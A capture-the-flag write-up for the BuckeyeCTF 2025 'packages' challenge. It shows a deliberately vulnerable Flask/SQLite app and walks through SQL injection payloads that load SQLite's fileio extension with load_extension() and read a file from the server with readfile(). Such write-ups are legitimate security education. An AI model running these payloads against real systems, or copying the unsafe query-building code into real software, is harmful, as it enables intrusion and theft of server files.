← Back to writeups

BuckeyeCTF 2025 — packages

Explore the world of debian/debian-based packages.

https://packages.challs.pwnoh.io

We're given a Python server that looks like this:

py

1import sqlite3
2import json
3from flask import Flask, request, render_template_string
4
5app = Flask(__name__)
6
7
8db = sqlite3.connect("packages.db", check_same_thread=False)
9db.enable_load_extension(True)
10db.row_factory = sqlite3.Row
11
12TEMPLATE = """
13<!doctype html>
14<html lang="en">
15<head>
16    <meta charset="utf-8">
17    <title>Package Search</title>
18    <style>
19        body { font-family: sans-serif; max-width: 800px; margin: 2rem auto; }
20        form { margin-bottom: 1rem; }
21        table { border-collapse: collapse; width: 100%; }
22        th, td { border: 1px solid #ccc; padding: 0.5rem; text-align: left; }
23        th { background: #f4f4f4; }
24    </style>
25</head>
26<body>
27    <h1>Package Search</h1>
28    <form method="get">
29        <label>Distro:
30            <input name="distro" value="{{ request.args.get('distro', '') }}">
31        </label>
32        <label>Package:
33            <input name="package" value="{{ request.args.get('package', '') }}">
34        </label>
35        <button type="submit">Search</button>
36    </form>
37
38    {% if results %}
39        <h2>Showing {{ results|length }} result{{ 's' if results|length != 1 else '' }}</h2>
40        <table>
41            <tr>
42                <th>Distro</th>
43                <th>Distro Version</th>
44                <th>Package</th>
45                <th>Package Version</th>
46            </tr>
47            {% for row in results %}
48                <tr>
49                    <td>{{ row['distro'] }}</td>
50                    <td>{{ row['distro_version'] }}</td>
51                    <td>{{ row['package'] }}</td>
52                    <td>{{ row['package_version'] }}</td>
53                </tr>
54            {% endfor %}
55        </table>
56    {% else %}
57        <p>No results found.</p>
58    {% endif %}
59</body>
60</html>
61"""
62
63
64@app.route("/", methods=["GET"])
65def index():
66    distro = request.args.get("distro", "").strip().lower()
67    package = request.args.get("package", "").strip().lower()
68
69    sql = "SELECT distro, distro_version, package, package_version FROM packages"
70    if distro or package:
71        sql += " WHERE "
72    if distro:
73        sql += f"LOWER(distro) = {json.dumps(distro)}"
74    if distro and package:
75        sql += " AND "
76    if package:
77        sql += f"LOWER(package) = {json.dumps(package)}"
78    sql += " ORDER BY distro, distro_version, package"
79
80    print(sql)
81    results = db.execute(sql).fetchall()
82
83    return render_template_string(TEMPLATE, request=request, results=results)
84
85
86if __name__ == "__main__":
87    app.run(host="0.0.0.0", port=8000)

We can see that even though json.dumps() surrounds our query in quotes, we can still easily get SQL injection by putting quotes in our query ourselves: a distro of

Code (sql)

1"OR 1=1;--

results in the following SQL query

Code (sql)

1SELECT distro, distro_version, package, package_version FROM packages WHERE LOWER(distro) = "\"OR 1=1;--"

and even though json.dumps() escapes our inner quote with a backslash, backslash escapes are not supported in SQLite and the \ is treated as a plain character.

Another thing to notice is

py

1db.enable_load_extension(True)

which enables the SQLite load_extension() function for loading .so extension files.

Looking at the Dockerfile,

dockerfile

1FROM ghcr.io/astral-sh/uv:debian
2
3RUN wget https://sqlite.org/src/tarball/sqlite.tar.gz?r=release -O sqlite.tar.gz
4RUN tar xf sqlite.tar.gz
5WORKDIR /sqlite
6RUN ./configure
7RUN make -j$(nproc)
8WORKDIR /sqlite/ext/misc
9RUN for f in *; do gcc -g -fPIC -shared $f -o "${f%.c}.so"; done
10
11ADD main.py pyproject.toml uv.lock seed.sql flag.txt /app/
12WORKDIR /app/
13RUN /sqlite/sqlite3 packages.db < seed.sql
14RUN uv sync --locked
15USER 1000
16ENV PYTHONUNBUFFERED=1
17CMD .venv/bin/python3 main.py

they've conveniently compiled all extensions in sqlite/ext/misc to .so files, and we can load them at will with

Code (sql)

1SELECT load_extension('/sqlite/ext/misc/{...}.so');

So which of these extensions seem helpful? Conveniently, fileio defines readfile() and writefile() functions for SQL:

c

1/*
2** 2014-06-13
3**
4** The author disclaims copyright to this source code.  In place of
5** a legal notice, here is a blessing:
6**
7**    May you do good and not evil.
8**    May you find forgiveness for yourself and forgive others.
9**    May you share freely, never taking more than you give.
10**
11******************************************************************************
12**
13** This SQLite extension implements SQL functions readfile() and
14** writefile(), and eponymous virtual type "fsdir".
15**
16** ...
17**
18** READFILE(FILE):
19**
20**   Read and return the contents of file FILE (type blob) from disk.
21**
22** ...
23*/

Thus, we can simply query

Code (sql)

1"OR 1=1 UNION SELECT load_extension('/sqlite/ext/misc/fileio.so'), 1, 1, 1;--

to load the fileio extension (we need UNION SELECT since we are tacking this onto the end of an existing query, and UNION SELECT requires both sides of the query to have the same number of columns), and

Code (sql)

1"OR 1=1 UNION SELECT readfile('/app/flag.txt'), 1, 1, 1 from packages;--

to read the flag:

img